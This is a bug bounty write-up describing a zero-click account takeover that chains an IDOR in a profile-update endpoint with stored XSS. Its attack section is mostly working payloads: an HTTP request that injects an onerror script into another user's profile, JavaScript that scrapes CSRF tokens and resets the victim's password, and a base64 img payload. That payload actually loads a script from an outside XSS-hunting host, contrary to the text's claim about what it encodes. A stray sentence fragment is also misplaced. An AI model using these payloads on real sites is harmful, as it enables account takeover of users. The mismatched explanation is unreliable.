Zero Click To Account Takeover (IDOR + XSS)
In the realm of bug bounty hunting, success largely hinges on reconnaissance. The more time invested in reconnaissance, the greater the chances of unearthing critical vulnerabilities. In this article, we delve into a fascinating discovery made within BugCrowd’s programs, where attackers employ Insecure Direct Object Reference (IDOR) to inject Cross-Site Scripting (XSS) payloads into victim profiles, ultimately.
What Is a Zero-Click Attack?
A zero-click attack is a cyberattack that requires no action or engagement from the victim. Unlike traditional attacks where users may unknowingly click on malicious links or download infected files, zero-click attacks operate entirely in the background, making them exceptionally difficult to detect.
The Anatomy of a Zero Click Attack
To understand zero-click attacks better, let’s explore how they typically work:
- Exploiting Vulnerabilities: Zero-click attacks often exploit vulnerabilities in software, web applications, or systems. These vulnerabilities enable attackers to execute malicious code or actions without any user intervention.
- Automated Execution: Once a vulnerability is identified, attackers automate the exploitation process. This can involve injecting malicious code or commands that execute automatically, usually in the background.
- Silent Intrusion: The victim remains blissfully unaware as the attack silently infiltrates their system or compromises their account. No suspicious links are clicked, and no files are downloaded.
Examples of Zero Click Attacks
- IDOR and XSS Combo: Insecure Direct Object Reference (IDOR) combined with Cross-Site Scripting (XSS) is a classic example of a zero-click attack. An attacker manipulates data to inject malicious code into a victim’s profile, gaining unauthorized access or taking over their account without any user interaction.
- Malicious Attachments: Some zero-click attacks are initiated through email attachments or documents that exploit vulnerabilities in the recipient’s email client or document viewer. The victim doesn’t need to open the attachment; the attack happens automatically.
- Network Exploits: In certain cases, attackers target network vulnerabilities, exploiting weaknesses in routers or connected devices. This can lead to unauthorized access to the victim’s network, again without their involvement.
commandeering their accounts without a single click.
The Art of Reconnaissance; Unveiling the IDOR Vulnerability
Before embarking on any bug bounty mission, it’s imperative to thoroughly acquaint oneself with the target domain. Armed with this knowledge, we can pinpoint vulnerabilities more effectively. During our exploration, we encountered a vulnerable domain acquired by a company. Utilizing Crunchbase and Google Dork, we uncovered two P1s, one P2, and two P3s lurking within this fresh asset.
The simplest form of IDOR manifested itself in the ability to manipulate user profiles. The attacker could tamper with the “data[user][id]” value parameter to update other users’ profiles, setting the stage for potential mischief.
Seizing Opportunity with XSS
While pondering this vulnerability, we stumbled upon an intriguing revelation. The “data[user][photo]” was reflected in the “src” attribute of an image tag. While we could close the “src” value, the image tag remained elusive. However, we devised a clever workaround using the “onerror” event handler to execute JavaScript on the victim’s account.
POST /users/update_my_profile HTTP/1.1 Host: www.target.com... _method=POST&data[_Token][key]=6e8b90f4e7d7c694735d4f1c83db5968bf295f26&data[User][id]=808265&data[User][photo]=https://s3-us-west-2.amazonaws.com/target/nonexistent.png"+onerror=alert(origin)&data[User][photo_old]=&data[User][name]=Arman.Security&data[User][gender]=m&data[date][day]=&data[date][month]=&data[date][year]=&data[User][mobile_number]=&data[_Token][fields]=fa628e2b05473ddd3cbbee31d2d9c311eba4c9d5%3A&data[_Token][unlocked]=
The result? We successfully injected malicious code into the victim’s profile, setting the stage for a powerful exploit.
Crafting the Exploit
Our next step involved crafting an exploit to harvest all victim tokens and test various modes for variable tokens in the password update function. Here’s the exploit code:
url = "https://www.target.com/editar-mi-contrasena"; var token_keys_array = []; var token_fields_array = []; var params = []; var body = ""; var xhr = new XMLHttpRequest(); xhr.responseType = "document"; xhr.open("GET", url, true); xhr.withCredentials = true; // Additional XMLHttpRequest for POST request var xmlHttpRequest2 = new XMLHttpRequest(); xmlHttpRequest2.open("POST", "https://www.target.com/editar-mi-contrasena", true); // Set request headers xmlHttpRequest2.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"); xmlHttpRequest2.setRequestHeader("Referer", "https://www.target.com/editar-mi-contrasena"); xmlHttpRequest2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xmlHttpRequest2.setRequestHeader("Upgrade-Insecure-Requests", "1"); xmlHttpRequest2.setRequestHeader("Sec-Fetch-Mode", "navigate"); xmlHttpRequest2.setRequestHeader("Sec-Fetch-Dest", "document"); xmlHttpRequest2.setRequestHeader("Sec-Fetch-User", "?1"); xmlHttpRequest2.withCredentials = true; // Handle responses xmlHttpRequest2.onreadystatechange = function () { if (this.readyState == 4 && this.status == 302) { print("response=" + this.responseText); print("done"); } }; xhr.onreadystatechange = function() { if (xhr.readyState == 4) { // Collect token keys and fields xhr.response.querySelectorAll("input[name='data[_Token][key]']").forEach(input => { token_keys_array.push(input.value) }); xhr.response.querySelectorAll("input[name='data[_Token][fields]']").forEach(input => { token_fields_array.push(input.value) }); // Prepare and send the POST request for (let b = 0; b < token_fields_array.length; b++) { if (b == 2) { body = "_method=POST&data%5B_Token%5D%5Bkey%5D="+token_keys_array[0]+"&data%5BUser%5D%5Bpassword%5D=EvilOrAngel&data%5BUser%5D%5Bpassword_confirmation%5D=EvilOrAngel&data%5B_Token%5D%5Bfields%5D="+encodeURIComponent(token_fields_array[b])+"&data%5B_Token%5D%5Bunlocked%5D="; xmlHttpRequest2.send(body); } } } }; // Send the initial GET request xhr.send();
To execute this code seamlessly, we encoded it in Base64 and embedded it within an “img” tag’s “id” attribute. When triggered, the code would execute, granting us control over the victim’s account.
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzaHVudGVyLnhzcy5odCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>
In conclusion, our journey began with a seemingly innocuous IDOR vulnerability but evolved into a powerful exploit that combined IDOR with XSS, enabling a zero-click account takeover. This discovery underscores the importance of thorough reconnaissance and creative thinking in the world of bug bounty hunting.